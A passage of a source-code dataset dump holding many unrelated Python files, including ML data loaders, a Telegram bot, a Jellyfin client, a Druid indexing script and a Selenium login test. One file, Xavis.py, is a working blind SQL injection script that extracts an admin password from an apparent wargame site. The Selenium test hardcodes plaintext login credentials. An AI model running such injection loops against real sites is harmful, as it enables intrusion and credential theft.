\"\"\"\n start = self.start\n end = min(start + batch_size, self.data_size)\n self.start = end\n # 当遍历完成后回到起点\n if self.start >= self.data_size:\n self.start = 0\n # 返回一个batch的数据和标签\n return self.data[start:end], self.labels[start:end]\n\n\n\n\nif __name__ == '__main__':\n Dataset()","sub_path":"PyCode/tensorflow/emotion_classification/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"323704004","text":"from json import loads, dumps\r\nfrom telegram.ext import ConversationHandler, CommandHandler, MessageHandler, Filters, CallbackQueryHandler\r\n\r\nfrom dpad_manager import read_dp, write_dp\r\nfrom cmd_base import Chall, get_options_keyboard, PROGRESS_PATH\r\n\r\nCUR_CHALL_IDX = str()\r\nCHOOSE_CHALL_TO_ANSWER = range(1)\r\n\r\ndef try_answer(update, context):\r\n msg = update.message\r\n user_id = msg.from_user.id\r\n\r\n reply_markup = get_options_keyboard(context.chat_data, user_id, mode='TRY')\r\n msg.reply_text('Choose a challenge to try', reply_markup=reply_markup)\r\n\r\n return CHOOSE_CHALL_TO_ANSWER\r\n\r\ndef choose_chall_to_answer(update, context):\r\n global CUR_CHALL_IDX\r\n\r\n query = update.callback_query\r\n user_id = update.effective_user.id\r\n\r\n query.answer()\r\n\r\n chall_idx = query.data\r\n challs = context.chat_data[user_id]\r\n\r\n name = challs[chall_idx].name\r\n query.edit_message_text(text=f'Trying \"{name}\", type the answer')\r\n\r\n CUR_CHALL_IDX = chall_idx\r\n\r\n return CHOOSE_CHALL_TO_ANSWER\r\n\r\ndef save_user_progress(user_id):\r\n user_data_str = read_dp(user_id)\r\n\r\n if user_data_str:\r\n user_progress = loads(user_data_str)['progress']\r\n else:\r\n user_progress = list()\r\n\r\n user_progress.append(CUR_CHALL_IDX)\r\n user_data_str = dumps({'progress': user_progress}, indent=2)\r\n write_dp(user_id, user_data_str)\r\n\r\ndef check_answer(update, context):\r\n global CUR_CHALL_IDX\r\n\r\n user_id = update.message.from_user.id\r\n challs = context.chat_data[user_id]\r\n\r\n right_answers = challs[CUR_CHALL_IDX].answers\r\n user_answer = update.message.text.lower()\r\n\r\n if user_answer in right_answers:\r\n result = 'Right answer! Congratulations!'\r\n challs[CUR_CHALL_IDX].is_completed = True\r\n save_user_progress(str(user_id))\r\n else:\r\n result = 'Wrong answer, /try again!'\r\n\r\n update.message.reply_text(result)\r\n\r\n CUR_CHALL_IDX = str()\r\n return ConversationHandler.END\r\n\r\ntry_command_handler = ConversationHandler(\r\n entry_points=[CommandHandler('try', try_answer)],\r\n states={\r\n CHOOSE_CHALL_TO_ANSWER: [\r\n CallbackQueryHandler(choose_chall_to_answer),\r\n MessageHandler(~Filters.regex('^/'), check_answer)\r\n ]\r\n },\r\n fallbacks=[]\r\n)","sub_path":"try_cmd.py","file_name":"try_cmd.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"345145428","text":"\"\"\"Repeating a beat in a loop.\"\"\"\n\n__author__ = \"730444252\"\n\n\n# Begin your solution here...\nbeat: str = input(\"What beat do you want to input? \")\ncounter: int = 1\nrepeat_times: int = int(input(\"How many times do you want to repeat it? \"))\nif repeat_times > 0:\n while counter <= repeat_times:\n if counter < repeat_times:\n print(beat, end=\" \")\n else:\n print(beat)\n counter = counter + 1\n \nelse:\n\n print(\"No beat...\")\n","sub_path":"exercises/ex02/repeat_beat.py","file_name":"repeat_beat.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"482388820","text":"import numpy as np\nimport cv2\nimport csv\nimport random\nimport sklearn\n\ndef generator(metadata, create_image=True, batch_size=128, non_center_image_correction_value=0.25):\n\n # Locally \n # IMG_BASE_LOCATION = \"/Users/mentlsve/dev/SDC/CarND-Behavioral-Cloning-P3/data/IMG/\"\n # On AWS\n IMG_BASE_LOCATION = \"/home/carnd/data/IMG/\"\n \n num_samples = len(metadata)\n\n sklearn.utils.shuffle(metadata)\n idx = 0\n while True:\n images = []\n steerings = []\n while len(steerings) < batch_size:\n \n batch_sample = metadata[idx]\n camera_idx = random.randint(0, 2)\n\n # construction of image_path\n image_path = IMG_BASE_LOCATION + batch_sample[camera_idx].split('/')[-1]\n \n # steering value calculation\n center_steering = float(batch_sample[3])\n steering = center_steering\n if camera_idx == 1: #left\n steering = steering + non_center_image_correction_value\n if camera_idx == 2: #right\n steering = steering - non_center_image_correction_value\n\n #if create_image:\n if create_image:\n images, steerings = append_based_on_steering_value(image_path, steering, center_steering, images, steerings)\n else:\n steerings = append_based_on_steering_value_steering_value_only(steering, center_steering, steerings)\n idx = (idx + 1) % (num_samples)\n \n yield np.array(images), np.array(steerings)\n\ndef append_based_on_steering_value(image, steering, center_steering, images, steerings):\n rnd_val = random.random()\n if abs(center_steering) < 0.1 and rnd_val < 0.70:\n pass\n else:\n image = cv2.imread(image)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2YUV)\n if rnd_val < 0.5:\n steerings.append(steering)\n images.append(image)\n else:\n steerings.append(-steering)\n images.append(np.fliplr(image))\n\n return images, steerings\n\n# this method is used for creating a histogram of steering angles only\ndef append_based_on_steering_value_steering_value_only(steering, center_steering, steerings):\n rnd_val = random.random()\n if abs(center_steering) < 0.01 and rnd_val < 0.88:\n pass\n else:\n if rnd_val < 0.5:\n steerings.append(steering)\n else:\n steerings.append(-steering)\n return steerings\n\ndef read_dataset_metadata(path=\"./data/driving_log.csv\"):\n\n lines = []\n with open(path) as csvfile:\n reader = csv.reader(csvfile)\n for line in reader:\n lines.append(line)\n\n return lines","sub_path":"data_generator.py","file_name":"data_generator.py","file_ext":"py","file_size_in_byte":2699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"589987734","text":"from timer.timer import timeit\n\n@timeit\ndef fib(x):\n if x == 0:\n return 1\n if x == 1:\n return 1\n else:\n return fib(x-1) + fib(x-2)\n\nfib(10)\nfib(11)\nfib(15)\nfib(17)\n","sub_path":"testing_cython/advanced.py","file_name":"advanced.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"18580425","text":"import pickle\nimport spacy\nfrom spacy.lang.en.examples import sentences \nimport sys\nimport tokenizations \nfrom transformers import BertTokenizer\nimport pandas as pd\nimport numpy as np\n\n\nclass CorpusClass:\n def __init__(self, documents):\n self.documents = documents\n\nsys.path.insert(0,\"/mas/u/hjian42/tdt-twitter/baselines/T-ESBERT/\")\n\nnlp = spacy.load(\"en_core_web_md\", disable=[\"lemmatizer\"])\n\ndef annotate_ner(nlp_model, df_corpus):\n\n docs = list(nlp_model.pipe(df_corpus.lemma, disable=[\"tagger\", \"parser\"]))\n lemma_entity_list = []\n for i, doc in enumerate(docs):\n\n doc_entity_indices = []\n for ent in doc.ents:\n if ent.label_ in set(['PERSON', 'NORP', 'FAC', 'ORG', 'GPE', 'LOC', 'PRODUCT', 'EVENT', 'WORK_OF_ART', 'LAW', 'LANGUAGE']):\n doc_entity_indices.extend(list(range(ent.start, ent.end)))\n# else:\n# print(ent, ent.label_)\n\n spacy_tokens = np.array([w.text for w in doc])\n name_entities = \" \".join(spacy_tokens[doc_entity_indices])\n lemma_entity_list.append(name_entities)\n df_corpus['entity'] = lemma_entity_list\n return df_corpus\n\n\ndf_texts = pd.read_csv(\"df_texts_large.csv\")\nprint(df_texts.text.head())\ndf_corpus = annotate_ner(nlp, df_texts)\ndf_corpus.to_csv(\"df_texts_large_entities.csv\")","sub_path":"baselines/T-ESBERT/preprocessing/tdt4/extract_entity_text.py","file_name":"extract_entity_text.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"578367789","text":"from sys import stdin\nimport sys\nsys.setrecursionlimit(10**6)\n\nM, N = map(int, stdin.readline().split())\narr = [list(map(int, stdin.readline().split())) for i in range(M)]\n\ndp = [[-1 for j in range(N)] for i in range(M)]\ndx = [0, 0, -1, 1]\ndy = [1, -1, 0, 0]\n\ndef findWay(x, y):\n\tif x == N-1 and y == M-1:\n\t\treturn 1\n\t\n\tif dp[y][x] != -1:\n\t\treturn dp[y][x]\n\n\tdp[y][x] = 0\n\n\tfor i in range(4):\n\t\tnextX = x + dx[i]\n\t\tnextY = y + dy[i]\n\t\t\n\t\tif nextX < 0 or nextX >= N or nextY < 0 or nextY >= M:\n\t\t\tcontinue\n\n\t\tif arr[nextY][nextX] < arr[y][x]:\n\t\t\tdp[y][x] += findWay(nextX, nextY)\n\t\n\treturn dp[y][x]\n\nprint(findWay(0, 0))\n","sub_path":"Baekjoon/Baekjoon/1520.py","file_name":"1520.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"121805842","text":"import urllib.request\nimport sys\n\nurl = \"https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?\"\ncookie = sys.argv[1]\npw = ''\nletter = \"abcdef1234567890\"\n\nfor i in range(100):\n query = \"pw=%27||id=%27admin%27%26%26length(hex(pw))={}%23\".format(i)\n req = urllib.request.Request(\n url+query,\n data=None,\n headers={\n \"User-Agent\" : \"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\",\n \"Cookie\" : cookie\n })\n with urllib.request.urlopen(req) as res:\n body = res.read().decode()\n if 'Hello admin' in body:\n pw_len = i\n break\nprint(pw_len)\n\nfor i in range(1, pw_len+1):\n for j in letter:\n query = \"pw=%27||id=%27admin%27%26%26substr(hex(pw),{},1)=%27{}%27%23\".format(i,j)\n req = urllib.request.Request(\n url+query,\n data=None,\n headers={\n \"User-Agent\" : \"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\",\n \"Cookie\" : cookie\n })\n with urllib.request.urlopen(req) as res:\n body = res.read().decode()\n if 'Hello admin' in body:\n pw += j\n break\nprint(pw)\n","sub_path":"Xavis.py","file_name":"Xavis.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"193826293","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('sharebear_app', '0011_auto_20141019_2014'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='message',\n name='meta_msg',\n field=models.ForeignKey(related_name=b'sub_messages', blank=True, to='sharebear_app.MetaMessage', null=True),\n ),\n ]\n","sub_path":"sharebear_app/migrations/0012_auto_20141019_2134.py","file_name":"0012_auto_20141019_2134.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"212335688","text":"import logging\nfrom typing import Optional, Tuple\nfrom .const import (\n STATE_OFF,\n STATE_IDLE,\n STATE_PAUSED,\n STATE_PLAYING,\n)\n\n_LOGGER = logging.getLogger(__name__)\n\nclass JellyfinDevice(object):\n \"\"\" Represents properties of an Jellyfin Device. \"\"\"\n\n def __init__(self, session, jf_manager):\n \"\"\"Initialize Emby device object.\"\"\"\n self.jf_manager = jf_manager\n self.is_active = True\n self.update_data(session)\n\n def update_data(self, session):\n \"\"\" Update session object. \"\"\"\n self.session = session\n\n def set_active(self, active):\n \"\"\" Mark device as on/off. \"\"\"\n self.is_active = active\n\n @property\n def session_raw(self):\n \"\"\" Return raw session data. \"\"\"\n return self.session\n\n @property\n def session_id(self):\n \"\"\" Return current session Id. \"\"\"\n try:\n return self.session['Id']\n except KeyError:\n return None\n\n @property\n def unique_id(self):\n \"\"\" Return device id.\"\"\"\n try:\n return self.session['DeviceId']\n except KeyError:\n return None\n\n @property\n def name(self):\n \"\"\" Return device name.\"\"\"\n try:\n return self.session['DeviceName']\n except KeyError:\n return None\n\n @property\n def client(self):\n \"\"\" Return client name. \"\"\"\n try:\n return self.session['Client']\n except KeyError:\n return None\n\n @property\n def username(self):\n \"\"\" Return device name.\"\"\"\n try:\n return self.session['UserName']\n except KeyError:\n return None\n\n @property\n def media_title(self):\n \"\"\" Return title currently playing.\"\"\"\n try:\n return self.session['NowPlayingItem']['Name']\n except KeyError:\n return None\n\n @property\n def media_season(self):\n \"\"\"Season of curent playing media (TV Show only).\"\"\"\n try:\n return self.session['NowPlayingItem']['ParentIndexNumber']\n except KeyError:\n return None\n\n @property\n def media_series_title(self):\n \"\"\"The title of the series of current playing media (TV Show only).\"\"\"\n try:\n return self.session['NowPlayingItem']['SeriesName']\n except KeyError:\n return None\n\n @property\n def media_episode(self):\n \"\"\"Episode of current playing media (TV Show only).\"\"\"\n try:\n return self.session['NowPlayingItem']['IndexNumber']\n except KeyError:\n return None\n\n @property\n def media_album_name(self):\n \"\"\"Album name of current playing media (Music track only).\"\"\"\n try:\n return self.session['NowPlayingItem']['Album']\n except KeyError:\n return None\n\n @property\n def media_artist(self):\n \"\"\"Artist of current playing media (Music track only).\"\"\"\n try:\n artists = self.session['NowPlayingItem']['Artists']\n if len(artists) > 1:\n return artists[0]\n else:\n return artists\n except KeyError:\n return None\n\n @property\n def media_album_artist(self):\n \"\"\"Album artist of current playing media (Music track only).\"\"\"\n try:\n return self.session['NowPlayingItem']['AlbumArtist']\n except KeyError:\n return None\n\n @property\n def media_id(self):\n \"\"\" Return title currently playing.\"\"\"\n try:\n return self.session['NowPlayingItem']['Id']\n except KeyError:\n return None\n\n @property\n def media_type(self):\n \"\"\" Return type currently playing.\"\"\"\n try:\n return self.session['NowPlayingItem']['Type']\n except KeyError:\n return None\n\n @property\n def media_image_url(self):\n \"\"\"Image url of current playing media.\"\"\"\n if self.is_nowplaying:\n try:\n image_id = self.session['NowPlayingItem']['ImageTags']['Thumb']\n image_type = 'Thumb'\n except KeyError:\n try:\n image_id = self.session[\n 'NowPlayingItem']['ImageTags']['Primary']\n image_type = 'Primary'\n except KeyError:\n return None\n url = self.jf_manager.api.artwork(self.media_id, image_type, 500)\n return url\n else:\n return None\n\n @property\n def media_position(self):\n \"\"\" Return position currently playing.\"\"\"\n try:\n return int(self.session['PlayState']['PositionTicks']) / 10000000\n except KeyError:\n return None\n\n @property\n def media_runtime(self):\n \"\"\" Return total runtime length.\"\"\"\n try:\n return int(\n self.session['NowPlayingItem']['RunTimeTicks']) / 10000000\n except KeyError:\n return None\n\n @property\n def media_percent_played(self):\n \"\"\" Return media percent played. \"\"\"\n try:\n return (self.media_position / self.media_runtime) * 100\n except TypeError:\n return None\n\n @property\n def state(self):\n \"\"\" Return current playstate of the device. \"\"\"\n if self.is_active:\n if 'NowPlayingItem' in self.session:\n if self.session['PlayState']['IsPaused']:\n return STATE_PAUSED\n else:\n return STATE_PLAYING\n else:\n return STATE_IDLE\n else:\n return STATE_OFF\n\n @property\n def is_nowplaying(self):\n \"\"\" Return true if an item is currently active. \"\"\"\n if self.state == 'Idle' or self.state == 'Off':\n return False\n else:\n return True\n\n @property\n def supports_remote_control(self):\n \"\"\" Return remote control status. \"\"\"\n return self.session['SupportsRemoteControl']\n\n async def get_item(self, id):\n return await self.jf_manager.get_item(id)\n\n async def get_items(self, query=None):\n return await self.jf_manager.get_items(query)\n\n async def get_artwork(self, media_id) -> Tuple[Optional[str], Optional[str]]:\n return await self.jf_manager.get_artwork(media_id)\n\n async def get_artwork_url(self, media_id) -> str:\n return await self.jf_manager.get_artwork_url(media_id)\n\n async def set_playstate(self, state, pos=0):\n \"\"\" Send media commands to server. \"\"\"\n params = {}\n if state == 'Seek':\n params['SeekPositionTicks'] = int(pos * 10000000)\n params['static'] = 'true'\n\n await self.jf_manager.set_playstate(self.session_id, state, params)\n\n def media_play(self):\n \"\"\" Send play command to device. \"\"\"\n return self.set_playstate('Unpause')\n\n def media_pause(self):\n \"\"\" Send pause command to device. \"\"\"\n return self.set_playstate('Pause')\n\n def media_stop(self):\n \"\"\" Send stop command to device. \"\"\"\n return self.set_playstate('Stop')\n\n def media_next(self):\n \"\"\" Send next track command to device. \"\"\"\n return self.set_playstate('NextTrack')\n\n def media_previous(self):\n \"\"\" Send previous track command to device. \"\"\"\n return self.set_playstate('PreviousTrack')\n\n def media_seek(self, position):\n \"\"\" Send seek command to device. \"\"\"\n return self.set_playstate('Seek', position)\n\n async def play_media(self, media_id):\n await self.jf_manager.play_media(self.session_id, media_id)\n","sub_path":"device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":7664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"429712282","text":"from flask import Flask, request, jsonify\nfrom forecast import ForecastService\n\n\napp = Flask(__name__)\nfs = ForecastService(user_agent=\"dtim.weatherbot\")\n\nBEAUFORT_SCALE = {\n 0: 'calm',\n 1: 'light air',\n 2: 'light breeze',\n 3: 'gentle breeze',\n 4: 'moderate breeze',\n 5: 'fresh breeze',\n 6: 'strong breeze',\n 7: 'high wind',\n 8: 'fresh gale',\n 9: 'severe gale',\n 10: 'storm',\n 11: 'violent storm',\n 12: 'hurricane'\n}\n\n\n@app.route('/action', methods=['POST'])\ndef action():\n content = request.json\n if content:\n query_result = content.get('queryResult')\n if query_result:\n intent = query_result.get('intent')\n parameters = query_result.get('parameters')\n reply = produce_reply(intent, parameters)\n if reply:\n return jsonify(reply)\n return jsonify({'error': 'Invalid payload'}), 400\n\n\ndef produce_reply(intent_dict, parameters_dict):\n answer = \"I don't know.\"\n\n intent = intent_dict.get('displayName') if intent_dict else None\n if intent == 'weather':\n if parameters_dict:\n city = parameters_dict.get('geo-city')\n prop = parameters_dict.get('weather-property')\n if city:\n weather = fs.weather(city)\n temp_data = weather['location']['temperature']\n wind_data = weather['location']['windSpeed']\n temp_message = '{}°'.format(temp_data['@value'])\n wind_message = BEAUFORT_SCALE.get(int(wind_data['@beaufort']))\n if prop:\n if prop == 'temperature':\n answer = temp_message\n elif prop == 'wind':\n answer = wind_message\n else:\n answer = '{}, {}'.format(temp_message, wind_message)\n return {'fulfillmentText': answer}\n","sub_path":"weatherbot.py","file_name":"weatherbot.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"142398606","text":"#!/usr/bin/env python\n# Run a druid indexing task for a given site integration\n# Example invocation:\n# ZEN_ENV='et' ./run_indexing.py \\\n# --data_files '/home/share/data/ethiopia/*/current/processed_rows.*'\n# Advanced usage can be found with the help menu\n\nimport datetime\nimport os\nimport sys\n\nfrom glob import glob\n\nimport requests\n\nfrom pylib.base.flags import Flags\nfrom pylib.file.file_utils import FileUtils\n\n# HACK(stephen): Really annoying hack to fix conflicting module imports\n# due to overuse of \"util\" module and folder name.\nsys.path = [path for path in sys.path if 'db/druid' not in path]\n\n# pylint: disable=C0413\nfrom config.general import DEPLOYMENT_NAME\nfrom config.druid import DIMENSIONS\nfrom config.datatypes import BaseRowType\nfrom db.druid.config import DruidConfig\nfrom db.druid.datasource import SiteDruidDatasource\nfrom db.druid.errors import MissingDatasourceException\nfrom db.druid.indexing.task_builder import DruidIndexingTaskBuilder\nfrom db.druid.metadata import DruidMetadata\nfrom db.druid.util import DRUID_DATE_FORMAT\n\nINDEX_URL = '%s/druid/indexer/v1/task' % (DruidConfig.indexing_endpoint())\n\n# Directory location where a hash of the files ingested for a datasource\n# are stored\nDEFAULT_TASK_HASH_DIR = '/home/share/data/logs/druid_indexing/hash'\n\n# Date range to index data for.\nTODAY = datetime.datetime.today()\nDEFAULT_MIN_DATA_DATE_STR = '2009-01-01'\nDEFAULT_MAX_DATA_DATE_STR = (TODAY + datetime.timedelta(days=366)).strftime(DRUID_DATE_FORMAT)\n\n# Return the absolute path for the given input path. If the input path is a\n# glob, it will be expanded into a list of files matching the pattern. If the\n# input path is a relative path, the working directory specified will be used\n# to compute the absolute path.\ndef build_absolute_paths(input_path, working_directory):\n return glob(os.path.abspath(os.path.join(working_directory, input_path)))\n\n\ndef get_current_datasource_for_site():\n # It's ok if no datasource exists for the current site. We could be\n # creating the first one!\n datasource = version = None\n try:\n from config.database import DATASOURCE\n\n datasource = DATASOURCE.name\n # TODO(stephen): It'd be awesome if the version was stored as part of\n # the DruidDatasource object.\n version = DruidMetadata.get_datasource_version(datasource)\n except MissingDatasourceException:\n print('No datasource exists for site: %s' % DEPLOYMENT_NAME)\n return (datasource, version)\n\n\ndef build_indexing_task(version):\n # Create a set of absolute paths for the input path list\n input_paths = Flags.ARGS.data_files\n cwd = os.getcwd()\n full_paths = set()\n for path in input_paths:\n full_paths.update(build_absolute_paths(path, cwd))\n\n assert len(full_paths) > 0, 'No matching paths found for indexing!'\n\n # Parse the task definition overrides if specified. Defaults to None\n task_template_json = FileUtils.FileContents(Flags.ARGS.task_template_file)\n metrics_spec_json = FileUtils.FileContents(Flags.ARGS.metrics_spec_file)\n tuning_config_json = FileUtils.FileContents(Flags.ARGS.tuning_config_file)\n\n # If no datasource name is specified, generate a valid site datasource\n # and use its name.\n datasource_name = (\n Flags.ARGS.datasource_name or SiteDruidDatasource(DEPLOYMENT_NAME, TODAY).name\n )\n\n min_data_date = datetime.datetime.strptime(\n Flags.ARGS.min_data_date, DRUID_DATE_FORMAT\n )\n max_data_date = datetime.datetime.strptime(\n Flags.ARGS.max_data_date, DRUID_DATE_FORMAT\n )\n return DruidIndexingTaskBuilder(\n datasource_name,\n DIMENSIONS,\n BaseRowType.DATE_FIELD,\n full_paths,\n min_data_date,\n max_data_date,\n task_template_json,\n metrics_spec_json,\n tuning_config_json,\n version,\n )\n\n\ndef get_hash_storage_path(datasource_name, datasource_version):\n filename = '%s_%s.hash' % (datasource_name, datasource_version)\n return os.path.join(Flags.ARGS.task_hash_dir, filename)\n\n\ndef task_contains_new_data(indexing_task, cur_datasource, cur_version):\n # Check to see if the current datasource has an indexing hash we\n # can compare to\n cur_hash_file = get_hash_storage_path(cur_datasource, cur_version)\n if not os.path.isdir(Flags.ARGS.task_hash_dir):\n raise RuntimeError(\n 'You need to create the task hash dir, %s' % Flags.ARGS.task_hash_dir\n )\n if not os.path.isfile(cur_hash_file):\n return True\n\n # Each line of the hash file contains a separate file hash. Compare\n # the current file hashes with the new file hashes to see if there is a\n # difference.\n # NOTE(stephen): Intentionally not using a set here since it's possible\n # for an indexing job to index the same file twice on purpose.\n cur_file_hash = sorted(FileUtils.FileContents(cur_hash_file).split('\\n'))\n new_file_hash = sorted(indexing_task.get_file_hashes())\n return cur_file_hash != new_file_hash\n\n\ndef store_task_hash(indexing_task):\n hash_filename = get_hash_storage_path(\n indexing_task.datasource, indexing_task.version\n )\n with open(hash_filename, 'w') as hash_file:\n hash_file.write(indexing_task.get_task_hash())\n\n\n# Kick off a new indexing task\ndef run_task(indexing_task, dry_run=False):\n task_dict = indexing_task.task_definition\n # TODO(stephen): Switch to the log library so that we can specify\n # a loglevel as a flag. Then I won't have to comment out potentially\n # useful debug statements.\n # print 'Running task with definition:'\n # print json.dumps(task_dict, indent=2, sort_keys=True)\n\n # If this is a dry-run, change the task type to \"noop\" to skip\n # building a new datasource.\n if dry_run:\n task_dict['type'] = 'noop'\n\n r = requests.post(INDEX_URL, json=task_dict)\n if not r.ok:\n print('Failed to start task. Reason: %s' % r.reason)\n return None\n return r.json()['task']\n\n\ndef main():\n # Required flags\n Flags.PARSER.add_argument(\n '--data_files',\n type=str,\n required=True,\n nargs='+',\n help='Path to JSON data files to be ingested',\n )\n\n # Optional flags that override default values\n Flags.PARSER.add_argument(\n '--datasource_name',\n type=str,\n default='',\n help='Optional datasource name. If unspecified, ' 'one will be generated.',\n )\n Flags.PARSER.add_argument(\n '--task_template_file',\n type=str,\n default='',\n help='Optional indexing template to use',\n )\n Flags.PARSER.add_argument(\n '--metrics_spec_file', type=str, default='', help='Optional metrics spec to use'\n )\n Flags.PARSER.add_argument(\n '--tuning_config_file',\n type=str,\n default='',\n help='Optional task tuning config to use',\n )\n Flags.PARSER.add_argument(\n '--task_hash_dir',\n type=str,\n default=DEFAULT_TASK_HASH_DIR,\n help='Directory where indexing task hashes are ' 'stored',\n )\n Flags.PARSER.add_argument(\n '--output_task_id_file',\n type=str,\n default='',\n help='File to store the indexing task ID in',\n )\n Flags.PARSER.add_argument(\n '--force',\n action='store_true',\n default=False,\n help='Force the datasource to be created even if '\n 'a datasource already exists with the same '\n 'data',\n )\n Flags.PARSER.add_argument(\n '--dry_run',\n action='store_true',\n default=False,\n help='Issue a \"noop\" indexing task and skip ' 'building a new datasource',\n )\n Flags.PARSER.add_argument(\n '--min_data_date',\n type=str,\n default=DEFAULT_MIN_DATA_DATE_STR,\n help='Optional earliest data date string: YYYY-MM-DD',\n )\n Flags.PARSER.add_argument(\n '--max_data_date',\n type=str,\n default=DEFAULT_MAX_DATA_DATE_STR,\n help='Optional latest data date string: YYYY-MM-DD',\n )\n Flags.InitArgs()\n\n # Create deterministic version number so that we can differentiate the\n # current live datasources even if they have the same datasource name.\n # NOTE(stephen): For some weird reason, this string version value has to\n # resolve to a value less than the task \"lock\" version, which is the\n # formatted timestamp that the druid indexing task actually began. This is\n # dumb. https://github.com/druid-io/druid/pull/3559\n version = TODAY.strftime('%Y-%m-%d.%H%M%S')\n indexing_task = build_indexing_task(version)\n indexing_task.print_overview()\n print('')\n\n (cur_datasource, cur_version) = get_current_datasource_for_site()\n if (\n not Flags.ARGS.force\n and cur_datasource\n and cur_version\n and not task_contains_new_data(indexing_task, cur_datasource, cur_version)\n ):\n print(\n '##### Skipping indexing since existing datasource '\n 'contains the same data specified in this task. #####'\n )\n print('##### Current datasource: %s #####' % cur_datasource)\n print('##### Current version: %s #####' % cur_version)\n # TODO(stephen): Switch to the log library so that we can specify\n # a loglevel as a flag. Then I won't have to comment out potentially\n # useful debug statements.\n # print 'Current task hash:'\n # print indexing_task.get_task_hash()\n return 0\n\n dry_run = Flags.ARGS.dry_run\n task_id = run_task(indexing_task, dry_run)\n if not task_id:\n return 1\n\n if not dry_run:\n store_task_hash(indexing_task)\n\n output_task_id_file = Flags.ARGS.output_task_id_file\n if output_task_id_file:\n FileUtils.CreateFileWithData(output_task_id_file, task_id)\n\n print('Successfully started indexing task. Task ID: %s' % task_id)\n return 0\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"db/druid/indexing/scripts/run_indexing.py","file_name":"run_indexing.py","file_ext":"py","file_size_in_byte":9913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"357203647","text":"# coding=utf-8\nfrom time import sleep\nfrom selenium import webdriver\nimport unittest\nimport time\nfrom selenium.webdriver.common.keys import Keys\nfrom function.base.html_test_runner import HtmlTestRunner\nusername = \"laibaoqin\" # 登录账号\nPassword = \"a124689a\" # 登录密码\nurl = \"http://www.youngmaker.com/\" #登录网址\n\nclass login(unittest.TestCase):\n def setUp(self): # 打开登录页面\n self.br = webdriver.Ie()\n self.br.implicitly_wait(10)\n self.br.get(url)\n\n def test_login(self): #登录测试用例\n self.br.find_element_by_class_name(\"sign \").click()\n iframe = self.br.find_element_by_id(\"layui-layer-iframe1\")\n self.br.switch_to_frame(iframe)\n self.br.find_element_by_id(\"inputEmail\").send_keys(username)\n self.br.find_element_by_id(\"inputPassword\").send_keys(Password)\n self.br.find_element_by_xpath(\"/html/body/div[1]/div/div/div[2]/div[1]/form/div/ul/li[3]/button\").click()\n sleep(2)\n #验证登录\n self.br.find_element_by_xpath(\"/html/body/header/div/div/ul[2]/li[2]/span\").click()\n sleep(2)\n self.br.find_element_by_link_text(\"个人中心\").click()\n self.br.find_element_by_link_text(\"个人信息\").click()\n readusername = self.br.find_element_by_xpath(\"/html/body/div/div[1]/div/div/div[2]/div[2]/form/input[3]\").get_attribute(\n 'value')\n print(readusername)\n if readusername == username:\n print(\"登录成功,登录账号是:%s\" % readusername)\n else:\n print(\"登录失败\")\n\n def tearDown(self):\n self.br.quit()\n print(\"关闭浏览器\")\n\nif __name__ == \"__main__\":\n # 构造测试集\n suite = unittest.TestSuite()\n suite.addTest(login(\"test_login\"))\n now = time.strftime(\"%Y-%m-%d %H_%M_%S\")\n filename = \"D:\\\\Autotest\\\\report\\\\\" + now + \"result.html\" #测试结果存储路径\n\n path = open(filename,\"wb\") #自动生成测试报告\n runner = HtmlTestRunner(stream = path,title=\"登录测试结果\",description=\"用例执行结果:\") #测试用例便捷\n runner.run(suite) #执行测试用例\n path.close() #关闭测试报告\n print(\"测试结束\")\n\n","sub_path":"others/login_ ie.py","file_name":"login_ ie.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"570351226","text":"# -*- coding: utf-8 -*-\nimport json\nimport logging\nfrom abc import ABC, abstractmethod\nfrom os import PathLike\nfrom pathlib import Path\nfrom typing import Tuple, Dict, Set, Callable, List, Union\nfrom warnings import warn\n\nfrom pandas import DataFrame, merge, Series, concat\n\nfrom .exceptions import FileLoaderError, ValidationError, ConfigurationError\nfrom .io import first_int_in_filename_key, FileLoader, CSVLoader\nfrom .scorers import score_detection\nfrom .validators import DataFrameValidator\n\nlogger = logging.getLogger(__name__)\n\n\nclass BaseEvaluation(ABC):\n def __init__(\n self,\n *,\n ground_truth_path: Path = Path(\"/opt/evaluation/ground-truth/\"),\n predictions_path: Path = Path(\"/input/\"),\n file_sorter_key: Callable = first_int_in_filename_key,\n file_loader: FileLoader,\n validators: 